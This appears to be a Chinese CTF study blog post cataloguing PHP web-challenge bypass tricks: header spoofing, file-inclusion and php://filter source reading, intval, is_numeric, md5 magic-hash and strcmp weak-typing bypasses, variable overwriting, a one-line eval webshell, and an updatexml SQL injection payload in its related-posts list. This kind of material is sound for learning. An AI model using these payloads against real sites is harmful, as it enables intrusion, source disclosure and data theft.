本地访问和伪造ip

X-Forwarded-For: 127.0.0.1

域名解析

可以更改HTTP头部host字段为flag.bugku.com

把 flag.bugku.com 解析到120.24.86.145

直接在

c:\windows\system32\drivers\etc\hosts

打开后进行修改

在最后添加上 我们需要的

120.24.86.145 flag.bugku.com

即可。

本地包含

函数:PHP file_get_contents() 函数

定义和用法

file_get_contents() 函数把整个文件读入一个字符串中。
和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。
file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。

image
例题:http://120.24.86.145:8003/

payload:?hello=file_get_contents(‘./flag.php’)

robots.txt

一般网站会有robots.txt来规范爬虫的行为,利用robots.txt有可能获取到网站重要文件所在的位置。通常可用御剑扫出来。

php intval()函数漏洞

int intval(mixed $var [, int $base]);

intval()获取变量的整型值(截取变量的整数部分,直接舍去小数)

说明intval()转换的时候,会将从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0

int转string:

$var = 5;  
方式1$item = (string)$var;  
方式2$item = strval($var);

string转int:intval()函数。

var_dump(intval('2')) //2  
var_dump(intval('3abcd')) //3  
var_dump(intval('abcd')) //0 
// 可以使用字符串-0转换,来自于wechall的方法

intval可以被%00截断

if($req['number']!=strval(intval($req['number']))){
     $info = "number must be equal to it's integer!! ";  
}

如果当$req[‘number’]=0%00即可绕过。

php is_numeric(mixed $var)

这是检测变量是否为数字或者数字字符串

<?php

echo is_numeric(233333);       # 1

echo is_numeric('233333');    # 1

echo is_numeric(0x233333);    # 1

echo is_numeric('0x233333');   # 1

echo is_numeric('233333abc');  # 0

?>

也可以通过科学计数发来绕过 比如:1 == 1E0

is_numeric函数可绕过产生SQL注入

$s = is_numeric($_GET['s'])?$_GET['s']:0;
$sql="insert into test(type)values($s);";  //是 values($s) 不是values('$s')
mysql_query($sql);

上面这个片段程序是判断参数s是否为数字,是则返回数字,不是则返回0,然后带入数据库查询。
我们把’1 or 1’ 转换为16进制 0x31206f722031 为s参数的值。就可以进行注入了。

strip_tags(string,allow) 逻辑错误

strip_tags() 函数是用来剥去字符串中的 HTML、XML 以及 PHP 的标签的函数。返回剥除allow标签以外的内容。

弱类型比较

image

若字符串以数字开头,则取开头数字作为转换结果,若无则输出0

'123abc' == 123

$GLOBALS

$GLOBALS:是一个数组,包含了全局作用域中可用的全部变量。变量的名字就是数组的键。 合理利用$GLOBALS全局变量也许可以获得可利用变量信息。常与var_dump()函数连用。

php://伪协议

php://filter伪协议

php://filter 的参数列表

  • read 读取
  • write 写入
  • resource 数据来源(必须的)

read参数值可以为

  • string.stip_tags 将数据流中的HTML标签清除
  • string.toupper 将数据流中的内容转换为大写
  • string.tolower 将数据流中的内容转换为小写
  • convert.base64-encode 将数据流中的内容转换为base64编码
  • convertr.base64-decode 与上面对应的解码

利用这个函数漏洞需和文件包含漏洞一起使用,可以读取网页的PHP源代码

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

php://input 一句话木马

php://input 用来接收post数据的

可以接收一句话木马

<?php eval($_POST['a']); ?>

md5()和sha1()

PHP在处理哈希字符串时,如果利用”!=”或”==”来对哈希值进行比较,它把每一个以”0x”开头的哈希值都解释为科学计数法0的多少次方(为0),所以如果两个不同的密码经过哈希以后,其哈希值都是以”0e”开头的,那么php将会认为他们相同。
下列的字符串的MD5值都是0e开头的:

QNKCDZO


240610708


s878926199a


s155964671a


s214587387a


s214587387a

同时md5()是不能处理数组的

例题详见:bugku备份是个好习惯

ereg()和eregi()函数漏洞 %00截断

字符串对比解析,ereg函数存在%00截断漏洞,当ereg读取字符串string时,如果遇到了%00,后面的字符串就不会被解析。

int eregi(string pattern, string string, [array regs]);

eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。

可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。

返回值:如果匹配成功返回true,否则,则返回false

例题

ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE

在这里如果 $_GET[‘password’]为数组,则返回值为NULL

如果为123 或asd 或 12as或 123%00&&&**,则返回值为true

其他为false

变量覆盖

PHP extract() 函数

该函数使用数组键名作为变量名,使用数组键值作为变量值。

<?php  
    $auth = '0';  
    // 这里可以覆盖$auth的变量值
    print_r($_GET);
    echo "</br>";
    extract($_GET); 
    if($auth == 1){  
        echo "private!";  
    } else{  
        echo "public!";  
    }  
?>

extract可以接收数组,然后重新给变量赋值。

同时!PHP的特性$可以用来赋值变量名也能导致变量覆盖!

<?php  
    $a='hi';
    foreach($_GET as $key => $value) {
        echo $key."</br>".$value;
        $$key = $value;
    }
    print "</br>".$a;
?>

strcmp函数

如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

比较的时候先将两个参数先转换成string类型。

当比较数组和字符串的时候,返回是null。

<?php
$get=[];
$b='a';
var_dump(@strcmp($get, $b));
if (@strcmp($get, $b)) {
    # code...
    echo "ture";
}else{
    echo "flase";
}
?>

输出结果为:NULL flase

php中零值判断缺陷

php在比较字符串和数值做比较时,会将字符串转化为数字。再进行比较。

<?php
var_dump((int)('1e-1000'));   // 1>0
echo "<br>";
var_dump('1e-1000'==0);//科学技术法转化为数字后,由于数字太小被php认为等于0
echo "<br>";
var_dump('1e-10'>0); 
echo "<br>";
var_dump('aaaaaa'==0);
echo "<br>";
var_dump('1aaaa'>0);
echo "<br>";
var_dump('addd1'==0);
?>

输出结果:

int(1)
bool(true)
bool(true) 
bool(true)
bool(true)
bool(true) 

switch()

如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型,效果相当于intval函数。当switch没有break时可以继续往下执行。

array_search()函数

用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。

当检索中带入字符串,比如”sky”,会intval(‘sky’)==0,从而致使数字数组也可以查询成功

$array_search=['haha','hehe',0];
$eee = @array_search("XMAN", $array_search);
if($eee){
    echo "array_search()检索字符串绕过成功";
}else{
    echo "array_search()检索字符串绕过失败";
}

输出结果:

array_search()检索字符串绕过成功。

md5($password,true)

可以让pass=ffifdyop 来绕过。

详解

  • 2019年上海嘉韦思杯writeup

    1土肥原贤二报错注入 1’ and updatexml(1,concat(0x7e,(database()),0x7e),1)# 然后注表1’ and updatexml(1,concat(0x7e,(select group_co...

    2019年上海嘉韦思杯writeup
  • 2018安恒杯好黑的黑名单

    emmm,这个题是个好题。本题考察sql注入。绕过方法是以前没有遇见过的。里面利用了betwee and 的特性。 尝试对其进行注入,发现明显的过滤。一旦关键字在黑名单里,就会有:这么坏?想让我下面给你吃吗?XD 的字样。...

    2018安恒杯好黑的黑名单
  • insert into 注入

    题目题目连接:http://123.206.87.240:8002/web15/题目提示: flag格式:flag{xxxxxxxxxxxx} 不如写个Python吧 error_reporting(0); function ge...

    insert into 注入
  • bugku中的前女友(SKCTF)

    知识储备strcmp()函数int strcmp ( string $str1 , string $str2 ) 说明 注意该比较区分大小写。 参数 str1 第一个字符串。 str2 第二个字符串。 返回值 strcmp二进制安全...

    bugku中的前女友(SKCTF)
  • bugku中的welcome to bugkuctf

    知识储备本地包含file_get_contents() 函数定义和用法 file_get_contents() 函数把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字...

    bugku中的welcome to bugkuctf
  • hctf2018web

    首先,来说说本次比赛吧。 没有学到百度的真谛。(什么漏洞百度几乎都有,遇到不会就百度。发现源码也可百度理解) 发现可测试的地方要通过各种手段进行尝试。 ctf题与真正的漏洞有差距。需要换种思维来考虑问题。 然后,就...

    hctf2018web
  • 护网杯签到题

    首先,护网杯对新手不友好。看题看到绝望!!!全程懵逼状态。好啦不吐槽啦。。。。 进入正题:迟来的签到题 首先从文件下载下来看着像base64.但通过base64解码工具解码出来 V_UPVSUSUQR^W_###QV'R...

    护网杯签到题
  • bugku备份是个好习惯

    本题提示备份: 首先,可以用御剑等工具进行扫描,发现存在备份泄露,然后可以进行index.php.bak。对原码进行下载分析。 <?php /** * Created by PhpStorm. * User: Nors...

    bugku备份是个好习惯
  • linux三剑客

    前言之前用一些脚本都经常用到grep,sed,awk。但是一直不太熟悉,今天来学习一下,做个备忘录。 grep格式: grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTER...

    linux三剑客
  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup